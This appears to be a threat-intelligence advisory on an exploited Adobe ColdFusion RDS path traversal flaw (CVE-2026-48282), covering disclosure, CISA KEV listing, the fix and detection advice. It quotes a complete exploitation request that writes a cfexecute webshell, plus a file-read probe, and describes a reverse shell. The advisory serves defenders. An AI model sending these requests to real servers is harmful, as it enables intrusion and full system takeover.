# Adobe ColdFusion Critical Path Traversal in RDS FILEIO Handler Enables Unauthenticated RCE (CVE-2026-48282)

> An unauthenticated, maximum-severity (CVSS 10.0) path traversal vulnerability in Adobe ColdFusion's Remote Development Services (RDS) FILEIO handler allows attackers to write arbitrary CFML webshell files to the web root via crafted requests to /CFIDE/main/ide.cfm?ACTION=FILEIO, achieving remote code execution as the ColdFusion service account (SYSTEM on Windows). Actively exploited in the wild within two hours of disclosure; added to CISA KEV on 2026-07-07 with a three-day remediation deadline.

- **Published:** 2026-07-09T00:00:00Z
- **Last reviewed:** 2026-07-09T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1145
- **ID:** TL-2026-1145
- **Severity:** CRITICAL (CVSS 10)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 22 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-48282, CVE-2026-48313

## Description

CVE-2026-48282 is a critical arbitrary file write / path traversal vulnerability (CWE-22) in Adobe ColdFusion's RDS (Remote Development Services) FILEIO component, disclosed and patched by Adobe on 2026-06-30 under security bulletin APSB26-68 (which resolved 11 ColdFusion vulnerabilities total, seven rated CVSS 10.0). The RDS protocol communicates over HTTP POST to the endpoint /CFIDE/main/ide.cfm?ACTION=FILEIO using a proprietary length-prefixed field encoding — a 4-byte pad (skipped), a decimal length field, a colon separator, and the raw data payload, repeated per field — that the RdsFrontEndServlet parses and dispatches to action-specific handlers via a command map. RDS clients identify themselves with the User-Agent string "Dreamweaver-RDS-SCM1.00", which is itself a useful network-detection string. The FILEIO handler's WRITE operation performed insufficient validation of attacker-supplied file paths, allowing directory traversal sequences ("../", "..\\") and absolute paths to escape the intended RDS working directory.

A concrete documented WRITE exploitation request is:
`POST /CFIDE/main/ide.cfm?ACTION=FILEIO` with `Content-Type: application/octet-stream` and body `4:000043:C:\ColdFusion2025\cfusion\wwwroot\shell.cfm00005:WRITE00001:00000126:<cfexecute name="cmd.exe" arguments="/c whoami & calc" timeout="10" variable="o"></cfexecute>` — writing an executable CFML webshell directly to the web root. The companion read-primitive flaw, CVE-2026-48313, uses the same protocol with a READ action, e.g. `2:000018:C:\Windows\win.ini00004:READ`, and researchers documented attackers using exactly this read of `C:\Windows\win.ini` as a low-risk reconnaissance/verification step to confirm traversal worked before proceeding to the destructive WRITE-based webshell drop.

When RDS is enabled (non-default) with RDS authentication disabled (an unusual but not uncommon misconfiguration, particularly in legacy or lifted-and-shifted deployments), an unauthenticated remote attacker can send the crafted application/octet-stream request specifying an arbitrary destination path and payload content, causing the server to write a new file to that location. Attackers weaponize this by writing a malicious .cfm file containing a <cfexecute> tag, which invokes OS-level binaries (cmd.exe on Windows, /bin/bash via jspawnhelper on Linux) with attacker-controlled arguments. Once written, the webshell is retrieved via a simple HTTP GET request to the newly created file path, executing arbitrary commands in the context of the ColdFusion service account — NT AUTHORITY\SYSTEM by default on Windows installations, or a low-privileged ColdFusion service user (observed as UID 999 / cfuser in one lab validation) on Linux/Unix. A published lab validation (g0thamRabb1t, GitHub) captured the full chain via auditd and tcpdump: a FILEIO WRITE request at 21:14:40.940, an RDS acknowledgement response at 21:14:40.944, a browser GET to the planted `/app/connect.cfm` at 21:14:40.950, and a spawned child process by 21:14:41.321 — a complete write-to-execution window of roughly 40 milliseconds. Post-exploitation, the webshell was used to run discovery commands (whoami, uname, id, pwd) and, in the lab test, to establish an interactive bash reverse shell (`jspawnhelper` → `/bin/bash -c ... ` → `bash -i`) calling back to an attacker-controlled listener on TCP port 4444.

The same underlying RDS FILEIO fix in APSB26-68 also resolved a cluster of related, lower-severity RDS FILEIO issues beyond WRITE and READ: arbitrary file move, arbitrary file delete, and arbitrary directory creation/listing primitives — indicating the FILEIO command dispatcher lacked path canonicalization across all of its file-operation actions. Adobe's fix introduced a new RdsFileSecurity.resolveCanonical() routine enforcing null-byte rejection, traversal-sequence blocking, canonical path resolution, and rejection of client-supplied absolute paths. The same APSB26-68 bulletin separately patched CVE-2026-48276, an unrelated path-traversal flaw in the bundled CKEditor file-manager upload handler (`/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm`) that similarly allows unauthenticated attackers to write files as NT AUTHORITY\SYSTEM via a crafted `path=` multipart parameter containing `../` traversal sequences — a distinct vulnerable component sharing the same disclosure date and root-cause class (missing path canonicalization) as the RDS FILEIO issues, and worth including in the same detection/patch sweep though it is tracked separately from CVE-2026-48282/CVE-2026-48313.

Exploitation follows a four-stage progression documented by researchers: (1) reconnaissance for exposed RDS endpoints via HTTP fingerprinting of /CFIDE/main/ide.cfm and ColdFusion server banners on ports 8500/443, sometimes preceded by a CVE-2026-48313 arbitrary-read verification probe (e.g. reading win.ini); (2) a verification FILEIO WRITE request to confirm arbitrary write capability; (3) webshell deployment — writing a .cfm file containing a <cfexecute>-based command-execution primitive to a web-accessible path, sometimes given an innocuous filename (connect.cfm) to blend in with legitimate application files; and (4) code execution by issuing an HTTP GET to the planted webshell with attacker-supplied command parameters, followed by discovery commands and, in some cases, an interactive reverse shell for further hands-on-keyboard access.

Exploitation began within roughly two hours of Adobe's public disclosure on 2026-06-30, observed via honeypot telemetry (KEVIntel), and was independently corroborated by the Canadian Centre for Cyber Security and the Centre for Cybersecurity Belgium via open-source intelligence. CISA added CVE-2026-48282 to its Known Exploited Vulnerabilities (KEV) catalog on 2026-07-07, issuing a three-day remediation deadline (2026-07-10) for U.S. federal civilian agencies under Binding Operational Directive 26-04, citing active exploitation and that the flaw is trivially automatable and grants total control of the affected asset. Akamai deployed a dedicated App & API Protector rule (ID 3000985 — "Adobe ColdFusion RDS Exploit Attempt Detected (CVE-2026-48282)") for customers, and reports the majority of internet-facing ColdFusion instances (Shadowserver tracked roughly 750-800 internet-exposed ColdFusion hosts at time of disclosure) remain unpatched. No specific threat-actor attribution, campaign name, or targeted-sector data has been published; exploitation to date is characterized as broad and opportunistic against any internet-exposed, misconfigured (RDS-enabled, auth-disabled) instance rather than a targeted campaign. Detection guidance published alongside the lab validation stresses that, in containerized/bind-mounted ColdFusion deployments, monitoring only the container filesystem overlay will miss file-creation evidence — defenders must monitor the real host filesystem path backing any mounted web-root directory.

## MITRE ATT&CK

- T1595 Active Scanning
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1203 Exploitation for Client Execution
- T1505 Server Software Component
- T1068 Exploitation for Privilege Escalation
- T1211 Exploitation for Stealth
- T1070 Indicator Removal
- T1036 Masquerading
- T1083 File and Directory Discovery
- T1082 System Information Discovery
- T1033 System Owner/User Discovery
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1571 Non-Standard Port
- T1105 Ingress Tool Transfer
- T1565 Data Manipulation

## Sources

- [Adobe ColdFusion Critical Path Traversal (CVE-2026-48282)](https://www.akamai.com/blog/security-research/2026/jul/adobe-coldfusion-critical-path-traversal-cve-2026-48282)
- [Adobe Security Bulletin APSB26-68](https://helpx.adobe.com/uk/security/products/coldfusion/apsb26-68.html)
- [CVE-2026-48282 Detail - NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-48282)
- [Adobe ColdFusion Flaw CVE-2026-48282](https://orca.security/resources/blog/adobe-coldfusion-rce-flaw-cve-2026-48282/)
- [It's 37oC, And All We Can Think About Is ColdFusion (APSB26-68 CVE Bonanza)](https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/)
- [Hackers Exploit Maximum Severity Adobe ColdFusion Flaw](https://www.infosecurity-magazine.com/news/exploit-maximum-severity-adobe/)
- [CISA Orders Agencies to Patch Actively Exploited Adobe ColdFusion Path Traversal Flaw](https://windowsnews.ai/article/cisa-orders-agencies-to-patch-actively-exploited-adobe-coldfusion-path-traversal-flaw.435640)
- [CVE-2026-48282: Adobe ColdFusion RDS Path Traversal Leading to RCE](https://www.resecurity.com/blog/article/cve-2026-48282-adobe-coldfusion-rds-path-traversal-leading-to-rce)
- [Critical Adobe ColdFusion Vulnerability Exploited in Attacks](https://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/)
- [CVE-2026-48282 ColdFusion KEV: Patch Now and Hunt for Active Exploitation](https://windowsforum.com/threads/cve-2026-48282-coldfusion-kev-patch-now-and-hunt-for-active-exploitation.435640/)
- [Security Bulletin: Adobe ColdFusion Path Traversal Arbitrary Code Execution Vulnerability](https://www.redlegg.com/blog/security-bulletin-adobe-coldfusion-path-traversal-arbitrary-code-execution-vulnerability)
- [CISA orders feds to patch max severity ColdFusion flaw by Friday](https://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-max-severity-coldfusion-flaw-by-friday/)
- [CISA Adds One Known Exploited Vulnerability to Catalog](https://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-one-known-exploited-vulnerability-catalog)
- [CISA Urges Immediate Patching of Exploited ColdFusion, Langflow, Joomla Flaws](https://www.securityweek.com/cisa-urges-immediate-patching-of-exploited-coldfusion-langflow-joomla-flaws/)
- [CISA Warns of Adobe ColdFusion Path Traversal Vulnerability Exploited in Attacks](https://cybersecuritynews.com/adobe-coldfusion-path-traversal-exploited/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1145